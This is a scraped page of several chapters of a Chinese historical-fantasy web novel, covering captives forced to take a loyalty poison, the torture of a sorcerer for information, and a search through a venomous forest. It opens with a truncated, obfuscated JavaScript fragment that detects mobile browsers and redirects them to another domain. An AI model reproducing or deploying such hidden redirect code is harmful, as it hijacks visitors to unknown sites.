l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826997|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他的声音便低了下去。山风呜咽,仿佛在为这些可怜人的命运叹息。 “蛮夷皇帝巴不得他们死得越多越好。”商智接过话头,语气中带着几分冷意,“省下口粮,对他们来说反而是好事。” 几个巡逻的士兵从远处走过,铠甲碰撞发出清脆的声响。蒋承志的目光追随着他们,思绪却飘向了远方。这些蛮夷百姓,本该在自己的家园过着平静的生活,却因战乱流离失所,沦为盗匪。 商智沉默片刻,突然眼中闪过一丝精光:“蒋大人,我突然灵光一闪有个想法。” “哦?”蒋承志转过身,“商大哥请说。” “在下在京城时有一支工程队,如今正在这边建造房屋,却是缺少人手。”商智缓缓道来,目光扫过山谷中的人群,“这些人虽然现在瘦弱,但只要好生照料,想必也能成为得力的工人。” 蒋承志眉头微皱:“为何不用我永安的百姓?” 商智左右看了看,确定四下无人,这才压低声音道:“九夫人已为我准备了特制药丸,服用者需定期服用解药,如此便可确保他们不会背叛。” 听闻是宁芷薇所制,蒋承志的表情稍稍缓和。他与宁芷薇打过几次交道,深知这位九夫人医术高明,性情温和,断不会做出害人性命的事。 “只是...”商智有些不好意思地搓了搓手,“我最多只能收五十人。” “五十人?”蒋承志一愣,指着山谷,“这里可有三四百人之多啊。” 山谷中,几个蛮夷人已经开始转醒,发出低沉的呻吟声。他们茫然地环顾四周,发现自己被捆住后,顿时慌乱起来。有人开始挣扎,有人低声啜泣,更多的人则是一脸绝望地瘫在地上。 “蒋大人莫急,剩下的人我自有安排。”商智胸有成竹,“这些人落草为寇,不过是为了一口饱饭。若能安置妥当,想必不会再生事端。” 说着,他大步走下山坡,来到那些已经清醒的蛮夷人面前。这些**多是年轻力壮的男子,虽然面黄肌瘦,但眼神中还残存着一丝希望。 “你们,”商智指着几个未被迷晕的蛮夷人,“将事情经过告诉他们。” 第二百二十三章 那几个清醒的人用蛮夷语言低声交谈起来。渐渐地,更多的人醒来,加入了谈话。起初还带着恐惧和抗拒,但随着交谈的深入,他们的表情逐渐变得平静。 蒋承志站在山坡上,看着这一幕,不禁陷入沉思。战争从来就不是简单的你死我活,更多的是普通百姓的痛苦。这些人,或许本可以过着平静的生活,却被卷入了这场腥风血雨之中。 远处,太阳正缓缓升起,晨光洒在山谷中,为这片土地镀上一层金色。微风拂过,带来了春天的气息。蒋承志深吸一口气,望着山谷中忙碌的身影,心中渐渐有了决断。 商智处事稳妥,想必能妥善安置这些人。而宁芷薇所制的药丸,必不会伤及性命。这或许是个两全其美的法子。 正想着,一个士兵快步走来:“大人,营地那边送来消息,说是...” 蒋承志抬手示意他稍等,又看了一眼山谷中的情景。商智正在和几个蛮夷人交谈,虽然语言不通,但比划着似乎也能明白个大概。那些原本惊慌失措的人们,此刻也渐渐平静下来。 “走吧。”蒋承志转身,迎着朝阳,向营地走去。这些人的安置问题已经有了眉目,接下来还有更多事情等着他去处理。 春风拂面,带来远处青草的芬芳。这是个适合新生的季节,或许也能给这些流离失所的人们一个重新开始的机会。 院子里突然传来一阵香气,只见一名壮汉扛着冒着热气的大馒头现身。蒸汽在傍晚的凉风中缓缓升起,带着诱人的麦香。 那些蛮夷人的反应很快,他们的眼神立刻变了,像是饿狼看见了肉,眼中闪烁着贪婪的光芒。有几个人甚至不自觉地咽了咽口水,喉结上下滚动。 商智这是要来软的了。这些人已经饿了很久,食物是最好的诱饵。 果然,他端着馒头在那些人面前晃了一圈,馒头的香气几乎要把这些饿了几个月的人逼疯。有人开始低声呜咽,有人则死死盯着馒头,仿佛要用目光将其吞下。 “想吃吗?”商智的声音里带着几分戏谑,他拿起一个馒头,在众人面前掰开。雪白的馒头内里冒着热气,香味更加浓郁了。 蛮夷人疯狂点头,有的人已经顾不上形象,口水都要流出来了。他们的眼神中充满了渴望,像是快要溺水的人看到了救命的浮木。 这些人平日里凶神恶煞,现在却像是一群饿坏了的孩子。人性在饥饿面前,总是显得如此脆弱。 商智指了指不远处的尸体,那里躺着几具已经冷却的尸体,都是刚才反抗时被杀的蛮夷人:“看到了吗?抢夺只会让你们和他们一样。” 商智仔细观察着那些人的反应,有的人眼中闪过恐惧,身体不自觉地颤抖;有的人则露出悲伤之色,显然是认识那些死去的人。 商智显然也注意到了这些细节,他立刻让官差把那些流露出悲伤的人带到一边。这些人可能和死者有关系,留着他们只会是个隐患。 “谁想留下来干活?”商智的声音突然温和了许多,“保证让你们吃饱。不仅有馒头,还有肉。” 这句话像是一颗石子投入平静的水面,激起了阵阵涟漪。那些蛮夷人的眼前仿佛出现了一道光明,他们争先恐后地开口: “俺会放羊!从小就在草原上放羊!” “俺力气大!能搬石头盖房子!” “俺会木工!能做门窗!” “俺虽然不会什么手艺,但是能干活!” 七嘴八舌的声音此起彼伏,我看着这些人争先恐后地表现自己,不禁觉得有些好笑。人为了活命,什么都能说,什么都敢做。 商智让会建房子和木工的人站起来,竟然有六十多人。这么多人同时站起,扬起了一阵尘土,在夕阳下显得格外刺眼。 我心里清楚,这些人多半是在说谎,但只要有干活的心,技术可以慢慢学。重要的是他们愿意改变,愿意放下手中的刀,拿起工具。 最后剩下五十个人,他们眼中既有期待,又有担忧。夕阳的余晖洒在他们脸上,映出了一道道深深的沟壑,那是饥饿和苦难留下的印记。 “俺们能不能把一些粮食带回家?”有人小心翼翼地问,声音中带着祈求,“家里还有老人和孩子......” 商智缓步向前,声音不疾不徐:“诸位若愿意留下,我可以预支一个月的工钱,让你们给家里购买粮食。” 话音未落,人群中传来细微的骚动。几个年轻人眼中迸发出希望的光芒,但很快又黯淡下来,显然在权衡其中的风险。 一个满脸皱纹的老者颤颤巍巍地开口:“大...大人,您说的是真的吗?” “自然。”商智微微颔首,目光在众人脸上扫过,“我商某人一向说话算话。” 人群中响起窃窃私语。对这些蛮夷人来说,能吃饱肚子已是天大的恩赐,更别说还能领到工钱。但背叛同族的代价,让他们举棋不定。 “我...我愿意留下。”一个身材魁梧的青年突然跪地,声音颤抖却坚定,“我家中还有年迈的母亲和三个幼弟,他们已经三天没吃上一顿饱饭了。” 这声音仿佛打破了某种平衡,更多的人开始动摇。 “我也愿意!” “算我一个!” “求大人收留!” 此起彼伏的呼声中,越来越多的人跪了下来。他们的眼中闪烁着泪光,那是对生存、对希望的渴望。 “留下来干活可以。”商智点点头,但话锋一转,“不过要服毒。” 这句话像是一盆冷水,浇在了所有人头上。原本喧闹的院子瞬间安静下来,只剩下几声倒抽冷气的声音。 我知道这是他早就想好的计策,用毒药来确保这些人的忠诚。这种手段虽然残酷,但在这个时候,却是最有效的。 “蚀心散发一次,按时服用解药就没事。”商智的声音平静,仿佛在说一件再普通不过的事,“想清楚了再决定。” 寂静持续了片刻,突然有人开口:“俺愿意!” 这声音像是打破了某种平衡,更多的人开始响应: “俺也愿意!” “只要能吃饱,我随时听候差遣!” “俺家里还有老人孩子,不能饿死他们!” 看着这些人为了一口饱饭,连命都可以不要,我突然有些心酸。他们何尝不知道这是在赌命,但为了活下去,他们别无选择。 第二百二十四章 解决问题后,商智立即前往秦家。路上,他回想着方才那些蛮夷人的表情。有人惶恐,有人期待,有人犹豫,但更多的是对未知的恐惧。 宁芷薇早已等候多时,听闻商智的计划后,她不禁点头赞同。 “并非所有蛮夷都是恶人。”她一边取药一边说道,“关键在于识人。这些愿意为家人冒险的人,至少证明他们心中还有人性。” 商智接过药丸,若有所思:“确实如此。人性本善,只是生存所迫。” 回到山脚下时,那些被挑选的蛮夷人仍在原地等候。阳光已经升得老高,照得人睁不开眼。 “这是药丸,服下它。”商智将药丸分发下去,目光如炬,“从现在起,你们就是我的人了。” 众人战战兢兢地接过药丸。有人犹豫,有人果断吞下,还有人在同伴的目光中缓缓将药送入口中。 “别担心,这不是毒药。”商智笑了笑,“只是让我能确保你们的忠诚。” 等所有人都服下药丸后,他开始发放钱财。每人五十文,在这个时节,足够买些粮食度日了。 就在这时,几名仆役端着热气腾腾的白面馒头走来。香气四溢,让这些饥肠辘辘的人忍不住咽口水。 “先吃饱,然后可以进城采买。”商智指着那些正在打扫战场的蛮夷人说,“如果他们中有你们信得过的,可以托他们把粮食带给家人。” 这番话让所有人热泪盈眶。他们跪地叩谢,随后迫不及待地分食馒头,仿佛这是世间最美味的食物。 正午时分,战场已经打扫干净。未被选中的蛮夷人带着尸体和同伴托付的粮食,踏上了归途。他们的背影在阳光下拉得很长,仿佛要融入远处的山峦。 蒋承志站在城墙上,眉头紧锁。宁远如今只有三十名官差,若非秦家兄弟及时抵御外敌,今日的结果恐怕不堪设想。 “蒋大人!”一名衙役匆匆跑来,“秦家兄弟求见。” 秦雪松和秦昭玄很快赶到。他们也察觉到了事态的严重性。 “蒋兄弟可是遇到难事了?”秦雪松开门见山地问。 蒋承志苦笑着道出担忧:“往日蛮夷来犯不过数十人,今日却来了数百。若再有下次,恐怕更难应付。” 秦家兄弟对视一眼,同样忧心忡忡。他们虽能保护秦家和东麓村,但要守护整个宁远,却是能力有限。 城墙下,商智正在安排那些新招募的人手。他们的眼神已经不再迷茫,取而代之的是对新生活的向往。 远处,一队商队正缓缓驶入城门。车轮碾过尘土,扬起一片灰尘。新的一天,就这样在血与希望中缓缓展开。 秦家人对朝廷的态度向来不屑一顾,这也难怪,毕竟当年的事情让他们对朝廷彻底失望。 宁远的街道上,行人来往匆匆。秦雪松站在茶楼二层,目光扫过街道上的每一个角落。作为宁远捕头,他对这座城市的一切了如指掌。最近街面上的气氛有些不对劲,似乎暗流涌动。 “秦捕头。”蒋承志的声音从身后传来,带着几分疲惫。 秦雪松转身,看到蒋承志眼下的青黑,知道这位父母官最近也是操心不已。他给蒋承志倒了杯茶,热气氤氲中,两人都沉默了片刻。 “大人看起来很是忧心。”秦雪松轻声开口。 蒋承志端起茶盏,却迟迟没有饮下。他的手指无意识地摩挲着杯沿,眉头紧锁:“东麓村的事情,你也知道了吧?” “知道。”秦雪松点头,“蛮夷劫掠,死伤不少。” 茶楼里人声嘈杂,却掩盖不住两人谈话中的凝重。蒋承志放下茶盏,目光投向窗外:“这已经是第三起了。” 秦雪松看着蒋承志欲言又止的模样,终究还是开了口:“蒋大人,这事非同小可,依我看,还是向郡城求援为好。” “我何尝不知道?”蒋承志苦笑,“宁远无兵可用,若是蛮夷再犯,受苦的只会是百姓。可是......” 他没有说下去,但秦雪松明白他的顾虑。塞北贫瘠,朝廷向来不把这里当回事。就算去求援,郡城那点兵力,也不过是杯水车薪。 楼下突然传来一阵喧哗,打断了两人的谈话。秦雪松起身走到窗边,只见一群难民正拖家带口地往城里涌。 “又来了。”蒋承志叹息,“这些都是从边境逃来的。” 就在这时,秦家七哥大步走上楼来。他脸上沾着尘土,显然是刚从外面赶回来。 “大人,七老。”秦雪松向两人点头示意。 七哥也不客气,直接在桌边坐下,给自己倒了杯茶:“刚从东麓村回来,情况不太好。” 他喝了口茶,继续道:“蛮夷这次损失不小,短时间内应该不会再来。他们也是被逼无奈,若非缺粮,谁愿意冒这个险?” “不过......”他顿了顿,神色凝重,“若是蛮夷真要攻打永安,绝不会从东麓村入手。这里山高路险,运送粮草太过不便。依我看,最危险的是玄陲。” 蒋承志恍然大悟。他虽为父母官,却是个文官,对军事一窍不通。听了七哥这番话,如醍醐灌顶。 “虽说宁远离玄陲还有段距离,但一旦开战,难民必定会往这边涌。看来我得未雨绸缪才是。” 茶楼外的街道上,又一批难民踉踉跄跄地走过。他们衣衫褴褛,面带菜色,有的甚至还带着伤。蒋承志看着这一幕,心中愈发沉重。 “大人先别太担心。”七哥放下茶杯,“我秦家在塞北经营多年,多少还是有些人脉。若真到了危急时刻,也能帮上一些忙。” 蒋承志朝秦家兄弟拱手一礼:“多谢两位指点,我这就回去安排。” 目送蒋承志离开,七哥的表情也沉了下来:“初寒,你觉得这事会不会和京城那边有关?” 秦雪松摇头:“现在说什么都为时尚早。” 与此同时,离帝都三百里的驿道上。 第二百二十五章 一辆普通的马车正在缓缓前行,车轮碾过泥泞的道路,发出吱呀声响。赶车的是个年轻人,看起来二十出头,面容清俊,只是眉宇间带着几分阴郁。 “九弟,沧澜先生醒了。”车厢里传来五哥沙哑的声音。自从取出沧澜先生体内的玄心蛇血,他就死死盯着,生怕出什么岔子。 秦远霄闻言,立刻将马车赶入路边的树林。枝叶遮天蔽日,将马车完全掩盖。六哥警惕地守在外面放哨,目光不停扫视四周。 车厢内,沧澜先生还未完全清醒,突然爆发出一阵撕心裂肺的哀嚎。他的脸色苍白如纸,额头上渗出细密的汗珠。 “装什么装?”秦远霄冷冷开口,“要不是还有事情没问完,你早就死了。” 这声音像一盆冷水,让沧澜先生瞬间清醒。他睁开眼,看到秦家兄弟愤怒的眼神,下意识地威胁道:“你们最好别动我,否则大家一起死。” 他冷笑几声,却发现兄弟俩看他的眼神越发戏谑。五哥甚至还发出一声嗤笑。 不对劲。沧澜先生心里一惊,胸口传来的疼痛与平常不同。他试着去感应本命蛊,却毫无反应。那种与生命相连的感觉,完全消失了。 “你们......究竟对我干了啥?”他的声音开始发抖,额头的冷汗更多了。 联想到秦徒扬还活着,再加上现在无法控制本命蛊,沧澜先生心中一凉。他颤抖着手摸向胸口,那里正是藏玄心蛇血的位置。 “卑鄙!”他咬牙切齿,眼中闪过一丝狠厉。 “你有资格说这个字?”五哥怒极反笑,手指不自觉地握紧。 秦远霄却异常冷静,他居高临下地看着沧澜先生:“现在的你,想死都是种奢侈。” 沧澜先生慌了。失去了玄心蛇血和本命蛊,他已无法要挟对方。以秦家兄弟对他的恨意,接下来等待他的,必定是生不如死的折磨。 车厢里的空气仿佛凝固了,只有沧澜先生急促的呼吸声。阳光从车厢的缝隙中透进来,在地上投下斑驳的光影。 “说出我父兄的下落,我给你个痛快。”秦远霄淡淡道。他的声音很轻,却让沧澜先生浑身发冷。 沧澜先生没有回答,他的思绪已经飘向了三十年前。那时的江湖风云变幻,各方势力暗流涌动。而他,不过是个想要在乱世中求活的小人物罢了。 谁能想到,一步错,步步错,最终将自己逼到这般境地? 东陲的夜,总是带着几分凉意。空气中弥漫着一股若有若无的血腥味,马车在崎岖的山路上缓缓前行。 车厢内,沧澜先生被绑在木桩上,他那张曾经俊美的脸庞早已布满皱纹。昔日的风华不再,取而代之的是一种难以言喻的阴郁。油灯在风中摇曳,在他脸上投下忽明忽暗的光影。 “钱荷...”他低声呢喃着这个名字,眼底浮现出一丝痛楚。这个名字像是一把钝刀,一次又一次地割着他的心。 多年前的往事如潮水般涌来。那时的他风华正茂,是东陲贵族圈中最耀眼的存在。每次出现在宴会上,总能引来无数倾慕的目光。他的诗文能让文人折服,他的剑法能让武者叹服,再加上显赫的家世,让无数闺秀为之倾心。 可他的眼里只有一个人——东陲长公主钱荷。 那是个雨天,他第一次见到钱荷。她站在廊下,看着院中的牡丹,眼神清冷而专注。雨水打湿了她的裙角,却丝毫不影响她的气质。那一刻,沧澜知道,自己这一生都将为这个女子倾心。 “沧澜,你说这花开得好看吗?”她转过头,嘴角挂着浅浅的笑意。 “好看。”他答道,目光却一直停留在她的脸上。 那时的钱荷,是东陲最受瞩目的女子。她不仅聪慧绝伦,更善于用兵,是父皇最为器重的皇女。朝中大臣都说,她若是男儿身,必定是个出世的帝王之才。 两人渐渐熟络起来。沧澜陪她读书论剑,为她写诗作画,一度成为东陲最令人羡慕的一对璧人。直到秦霆的出现,打破了这份平静。 沧澜永远记得钱荷第一次看到秦霆时的样子。她的眼中闪烁着异样的光彩,那是一种他从未见过的炽热。那一刻,他感觉自己的心被人狠狠攥住。 “沧澜,你能帮我一个忙吗?”某个月夜,钱荷找到他。 “什么忙?”他问,心中已经隐约猜到。 “帮我...”她轻声说,“帮我得到秦霆的心。” 这个请求如同一把利刃,狠狠刺入他的心脏。他想拒绝,想质问,可看着她期待的眼神,所有的话都化作了一声叹息。 “好。”他答应了,因为那是她的愿望。 于是,他开始为她传递书信,为她创造与秦霆相见的机会。每一次帮助她,都像是在亲手割裂自己的心。可他依然笑着,装作什么都不在意的样子。 然而命运弄人,最终钱荷死在了秦霆手中。 那一夜,他接到消息时正在书房作画。墨迹未干的画上是钱荷的侧影,而现实中的她已经永远离去。他疯了般冲到她的寝宫,看到的却是一具冰冷的尸体。 她躺在那里,面容安详,仿佛只是睡着了。可胸口的剑伤告诉他,她再也不会醒来。那把剑,正是秦霆所赠。 沧澜在她的尸体旁跪了一夜。当晨光照进来时,他的头发已经全白。 “既然你带走了她,那就用你们秦家所有男丁的命来偿还。”他在钱荷的坟前立下誓言。 从那以后,他变卖家产,四处寻访蛊术高手。为了突破蛊术的极限,他甚至自断子孙根。二十年来,他一步步布局,就等着今晚。 可事情似乎出了差错。 “沧澜先生,”秦远霄的声音打断了他的回忆,“你真以为能带着我父兄同归于尽?” 沧澜先生冷笑一声:“有何不可?” 话音未落,一阵奇痒突然席卷全身。秦远霄手中的痒痒粉无声无息地落在他身上,瞬间让他痛不欲生。他想大笑,想哭喊,可秦瑾高已经堵住了他的嘴。 泪水不受控制地流下,但这远远不是结束。秦远霄取出一个青花瓷瓶,冰冷的药水滴在他腿上的伤口处。 皮肉以肉眼可见的速度溃烂,露出森森白骨。剧痛让他的身体不住颤抖,冷汗浸透了衣衫。 第二百二十六章 这一刻,沧澜先生终于感受到了真正的恐惧。他想求饶,想编造谎言,可他什么都做不了。只能眼睁睁看着自己的血肉一点点腐烂。 “你知道吗?”秦远霄的声音带着几分讥讽,“你引以为傲的蛊术,在我们秦家的药理面前,不过是小儿科罢了。” 沧澜先生瞪大了眼睛,不敢相信自己听到的话。二十年的布局,竟然如此轻易就被破解。 “别着急,”秦远霄继续说道,“这才刚开始。我要让你尝尝,什么叫真正的痛苦。” 马车继续在夜色中前行,车厢里传出阵阵压抑的呜咽声。远处的山峰隐没在浓雾中,仿佛在无声地见证着这一切。 这一夜注定漫长,就像沧澜先生这二十年的执念一样,漫长而痛苦。 马车在夜色中缓缓前行,车轮碾过泥泞的道路发出吱呀声响。车厢内,一盏青铜灯笼摇曳,将人影投射在车壁上,显得格外诡异。 夜色渐深,马车在崎岖的山路上缓缓前行。车厢内,秦远霄神色阴郁地注视着被绑在角落的沧澜先生,手中把玩着一包白色晶体。 “这是五哥刚从镇上买来的上等食盐。”他的声音低沉而冰冷,“沧澜先生,我们也算相识多年,不如给个机会,免得这盐白白浪费。” 沧澜先生紧抿着嘴唇,眼神闪烁不定。额头的冷汗顺着脸颊滑落,在下巴处汇聚成滴。 车厢内弥漫着令人窒息的沉默。 秦远霄将一把盐握在掌心,内力运转,细小的盐粒在掌中瞬间化为粉末。他缓缓起身,居高临下地看着沧澜先生:“最后一次机会,说出父亲和大哥二哥的下落。” 沧澜先生依旧保持沉默,但眼中闪过的慌乱出卖了他强装的镇定。 “不说?”秦远霄冷笑一声,手腕一抖,雪白的盐粉如同暮雪般洒向沧澜先生身上的伤口。 “啊——”凄厉的惨叫声在狭小的车厢内回荡。沧澜先生剧烈地挣扎着,粗麻绳在他手腕上勒出深深的血痕。 马车顶上的小白被这声音惊得扑棱着翅膀飞向高空,在月色下划出一道优美的弧线。 秦远霄和秦瑾高面无表情地看着沧澜先生痛苦地扭动,直到对方的惨叫声渐渐微弱,变成断断续续的呜咽。 “现在,可以说了吗?”秦远霄又抓起一把盐,在沧澜先生面前晃了晃,“还是说,你更喜欢这种调味方式?” “我说...我说...”沧澜先生气若游丝,豆大的汗珠从额头滚落,“他们确实在青岫山...” “具体位置。”秦远霄的声音不带一丝温度。 “第青岫山...那里有一座衣冠冢,是我为长公主所建。”沧澜先生喘着粗气,“你父亲...就在那里守着。” 秦远霄眯起眼睛:“青岫山?那里不是荆棘丛生吗?” “不...不是的。”沧澜先生急忙否认,声音因为疼痛而颤抖,“那里只是野兽多些,并无荆棘。我选那里,就是因为人迹罕至...” 秦远霄看向五哥,两人默契地交换了一个眼神。这个回答比之前要可信得多,但沧澜先生眼底闪过的那抹异样,却让人心生警惕。 “大哥和二哥呢?” “也在那里,和秦霆在一起。” 沧澜先生说完便闭上眼睛,一副等死的模样。额头上的青筋突突直跳,显然正承受着巨大的痛苦。 秦远霄却不会让他如愿。没找到父兄之前,这老东西必须活着。 “六哥,拿些水和干粮来。” 六哥应声跳上马车,递来水囊和食物。皮质水囊在月光下泛着微弱的光泽。 沧澜先生紧闭着嘴,显然是打算绝食。他的眼中闪过一丝决绝,仿佛已经做好了赴死的准备。 “张嘴!”五哥一把掐住他的下巴,手上的力道毫不留情。 秦远霄趁机灌水,塞入干粮。沧澜先生被呛得咳嗽连连,脸色涨得通红,却不得不吞咽下去。 几天来的疲惫终于涌了上来,秦远霄靠在车壁上,闭目养神。夜风从车窗缝隙吹入,带来一丝凉意。这处僻静之地倒是个休息的好去处。 马车外,虫鸣声此起彼伏。秦瑾高坐在车辕上,目光警惕地扫视着四周。六哥则在不远处的树下打坐,随时准备接替守夜。 他们轮流看守沧澜先生,抓紧时间休整。虽说宁芷薇界阙出品的千里马耐力惊人,但人也需要调整。这几天的追查让所有人都疲惫不堪。 夜色渐深,沧澜先生靠在角落里,呼吸渐渐平稳。但秦远霄知道,他并未入睡,只是在强装镇定。 月光透过车窗洒在沧澜先生脸上,映出他眼角的一丝不易察觉的笑意。这个细节没有逃过秦远霄的眼睛,让他心中的不安更加强烈。 太阳西斜时分,秦远霄睁开眼睛:“五哥、六哥,该动身了。” 马蹄声重新响起,车轮滚滚向玄陲驶去。道路两旁的树影在地上投下斑驳的光影,随着马车的前进不断变换。 秦远霄望着远方,手指无意识地敲击着车壁。从这里到玄陲,就算快马加鞭也需要十几天。不知父亲和大哥二哥现在情况如何... 沧澜先生虽然说出了地点,但他总觉得事情没那么简单。那老东西说话时的眼神,透着几分诡异。尤其是那抹若有若无的笑意,更让人心生疑虑。 马车继续在崎岖的山路上前行,车轮碾过石子发出咯吱声响。远处的山峦在暮色中若隐若现,仿佛巨兽匍匐在地平线上。 小白不知何时又回到了马车顶上,偶尔发出几声清脆的鸣叫。这声音在寂静的夜色中显得格外清晰。 秦远霄的目光落在沧澜先生身上。对方虽然看似已经屈服,但那双眼睛里藏着的秘密,恐怕还远不止这些。 “出发吧。”五哥牵起马缰,声音里带着几分沉重。他的目光扫过远处连绵的山峦,暮色渐沉,天际泛起一抹血色的红。 六哥一个利落的动作跃上马背,靴子不小心蹭到了马腹,惊得马儿打了个响鼻。他连忙安抚地拍了拍马脖子,转头看向秦远霄:“九弟,你当真要这么做?” “没有别的选择。”秦远霄坐进车厢,目光紧盯着昏迷的沧澜先生。老狐狸即便在昏迷中,眉头也紧紧皱着,仿佛在酝酿什么阴谋。她不敢有丝毫松懈,手指无意识地摩挲着袖中的银针。 马车刚动,一道白影便轻巧地跃上车顶,发出咕噜噜的叫声。小白那标志性的啼鸣让秦远霄这才惊觉自己竟把这个小家伙给忘了。 “你这调皮鬼。”他打开车窗,小白立刻扑棱着翅膀钻了进来,在他肩头蹭了蹭。秦远霄从怀里掏出准备好的果干,喂给这个贪吃的小家伙。 第二百二十七章 小白一边享用美食,一边用那双圆溜溜的眼睛瞥向躺在地上的沧澜先生。它歪着脑袋,眼神里满是轻蔑,那模样活像个扬眉吐气的小将军。 “就你最爱看热闹。”秦远霄轻笑着点了点小白的额头,趁着沧澜先生还在昏睡,快速写下一封信。她的笔尖在纸上飞快游走,字迹却依旧工整有力。 将信笺绑在小白腿上时,秦远霄的手指微微颤抖。这一次的行动凶险异常,若是出了差错,后果不堪设想。她深吸一口气,轻声道:“去吧,务必将信送到宁芷薇手中。” 小白似乎感受到了主人的凝重,难得正经地点了点头,振翅飞向远方。秦远霄望着那个渐行渐远的白点,直到它消失在暮色中。 马车在官道上疾驰,车轮碾过石子发出咯吱声响。为了赶路,三人轮流驾车,几乎不曾停歇。饶是如此,也整整用了十一天才抵达玄陲。 城门处排起了长长的队伍,商贩、行人摩肩接踵。秦远霄掀开车帘一角,眉头紧蹙。沧澜先生此刻的模样太过凄惨,若是被守卫发现,必定会惹来不必要的麻烦。 “九弟,这可如何是好?”六哥凑近车窗,压低声音问道。他的手不自觉地按在了剑柄上,显然也在为可能发生的冲突做准备。 秦远霄的目光在守城官兵身上逡巡,忽然嘴角勾起一抹笑意:“等着。” 他整了整衣襟,快步走向守卫。还未开口,就被一个面相凶恶的官兵拦住。 “站住!想进城的话就老老实实去排队吧!”那人粗声粗气地喝道,手中的长枪横在秦远霄面前。 秦远霄不动声色地将一锭银子塞进对方手里,声音带着几分焦急:“大人,家中有人病重,还请通融。这银子,就当是给大人买酒的。” 那官兵掂了掂手中的银子,原本凶恶的面容瞬间堆满笑容:“原来是看病啊,这等要紧事当然得优先。”说着便让开一条路,还不忘朝其他守卫使了个眼色。 战车稳稳驶入都城,直奔青岫山而去。路上行人渐少,空气中弥漫着一股诡异的寂静。 “五哥留下看着他。”秦远霄跳下马车,目光落在远处起伏的山峦上。虽然每座山丘看起来都不高,但要翻越五座才能到达目的地,时间紧迫。 他和六哥施展轻功,在林间穿梭。树影婆娑,偶尔有不知名的鸟兽惊叫声传来。一个时辰后,他们终于来到第六山丘前。 浓密的树冠遮天蔽日,地面上铺满厚厚的青苔,潮湿腐朽的气息扑面而来。就连飞鸟都绕道而行,仿佛这里藏着什么可怕的东西。秦远霄心里一沉,这地方比想象中还要危险。 “九弟,我来开路。”六哥抽出匕首,刀刃在暗淡的光线下泛着冷光。 秦远霄取出雄黄粉撒在两人身上,粉末随风飘散,带着刺鼻的气味:“小心些,这里的毒蛇比想象中还要多。” 兄妹俩背靠背缓慢前进,匕首劈开挡路的荆棘。脚下时不时传来窸窸窣窣的声响,毒蛇嘶嘶吐信,却被雄黄味道逼退。潮湿的空气中似乎飘荡着某种毒物的气息,让人心惊肉跳。 一阵风吹过,树叶沙沙作响。秦远霄握紧匕首,心跳如鼓。父亲和两位兄长,应该就在这片丛林深处。她只希望,一切还来得及。 前方的灌木丛突然晃动,六哥立刻举起匕首。秦远霄屏住呼吸,手心渗出冷汗。就在这时,一只野兔窜了出来,飞快地消失在草丛中。 “吓我一跳。”六哥松了口气,擦了擦额头的汗水。 秦远霄却没有放松警惕。这片林子太安静了,安静得不正常。她总觉得有什么东西在暗处窥视着他们,就像一张无形的网,正在慢慢收紧。 “六哥,你有没有觉得......”她的话还没说完,突然感觉脚下一空。原来是踩到了被青苔覆盖的陷坑。 六哥眼疾手快,一把抓住她的手腕。就在这时,树上突然落下几道黑影,寒光闪过,直取要害。 “小心!”秦远霄大喊一声,同时从袖中甩出银针。针尖上淬了剧毒,只要沾上一点就能让人瞬间失去行动能力。 黑影灵活地躲过银针,借着树枝荡到了另一侧。月光透过树叶的缝隙照下来,秦远霄这才看清对方的装扮——全身黑衣,面戴青铜面具。 “是守墓人!”六哥低声惊呼。这些人是专门守护各家秘密的死士,出现在这里就意味着...... 秦远霄心中一凛,难怪这片林子如此诡异。看来父亲和兄长们被关押的地方,比她想象中还要凶险得多。 山林间的气息愈发诡异,秦远霄和六哥的脚步也不由得放慢了几分。林间枝叶婆娑,偶有几缕阳光透过树隙洒落,在地上投下斑驳的光影。 “九弟,这里的空气有些不对劲。”六哥皱着眉头,压低了声音说道。他抬手拨开前方的藤蔓,警惕地打量着四周。 秦远霄也察觉到了异样,原本清新的山林空气中,竟然夹杂着一丝若有若无的腐臭味。这股味道并不浓烈,却让人本能地感到不适,仿佛有什么东西在暗处窥视着他们。 他停下脚步,仔细感知着周围的动静。树叶的沙沙声中似乎藏着某种异常,连飞鸟虫鸣都变得稀疏起来。 “六哥,我们上树看看。”秦远霄轻声说道,目光在周围的大树间逡巡。 六哥点头表示赞同,两人默契地选中了一棵高大的枫树。树干粗壮,枝叶繁茂,正适合用来观察地形。 他们身形轻盈,几个起落间便攀上了这棵参天大树。枝干间的缝隙恰到好处,既能遮掩身形,又不影响视线。 站在高处俯瞰,秦远霄的目光穿过层层叠叠的树冠,落在远处约莫两里开外的地方。那里竟然有一片开阔的草地,青草丛里藏着一汪清浅的水潭,在阳光下泛着诡异的青色光芒。 “九弟,你看那湖边...”六哥突然指着湖畔说道,声音中带着一丝凝重。 秦远霄凝神望去,只见湖边隐约躺着几个人影,一动不动。这般景象在这深山之中着实诡异,更何况还是在沧澜先生的地盘上。 第二百二十八章 一股不祥的预感涌上心头,他下意识地摸了摸怀中媳妇儿给的解毒药丸。那温润的触感让他稍稍安心,想起临行前宁芷薇担忧的眼神,心中不禁一暖。 “六哥,先把这个收好。”秦远霄取出一颗药丸递给六哥,“这是解毒用的,关键时刻能保命。” 六哥接过药丸,小心翼翼地收入怀中,“九弟有心了。” 两人从树上下来,继续向湖泊方向前进。秦远霄走在前面,手持长剑砍除沿途的荆棘。每一步都走得极为谨慎,生怕踩中什么机关陷阱。 忽然,一阵微风拂过,带来一股浓郁的花香。秦远霄立即屏住呼吸,伸手示意六哥后退。这香气来得蹊跷,多半是某种毒物的诱饵。 果然,不远处的草丛中传来窸窸窣窣的声响。一条花斑蛇探出头来,吐着信子,似乎在寻找猎物。 秦远霄和六哥屏息凝神,缓缓后退。那蛇却突然转头,发现了他们的踪迹。只见它昂首而起,鳞片在阳光下闪烁着冰冷的光芒。 就在蛇要发动攻击的瞬间,秦远霄手中长剑一挥,剑气呼啸而出。花斑蛇应声而断,两截蛇身抽搐几下便不动了。 “好险。”六哥擦了擦额头的冷汗,“这蛇的毒性怕是不一般。” 秦远霄点点头,用剑尖挑开蛇的毒牙。只见毒液呈现出诡异的紫色,滴落在地上发出“嗤嗤”的腐蚀声。 继续前行,地势渐渐变得复杂起来。秦远霄一边开路,一边仔细观察周遭环境。沧澜先生的地盘向来毒物横行,不得不防。 忽然,他感觉脚下地势有异,连忙拦住身后的六哥。 “小心!” 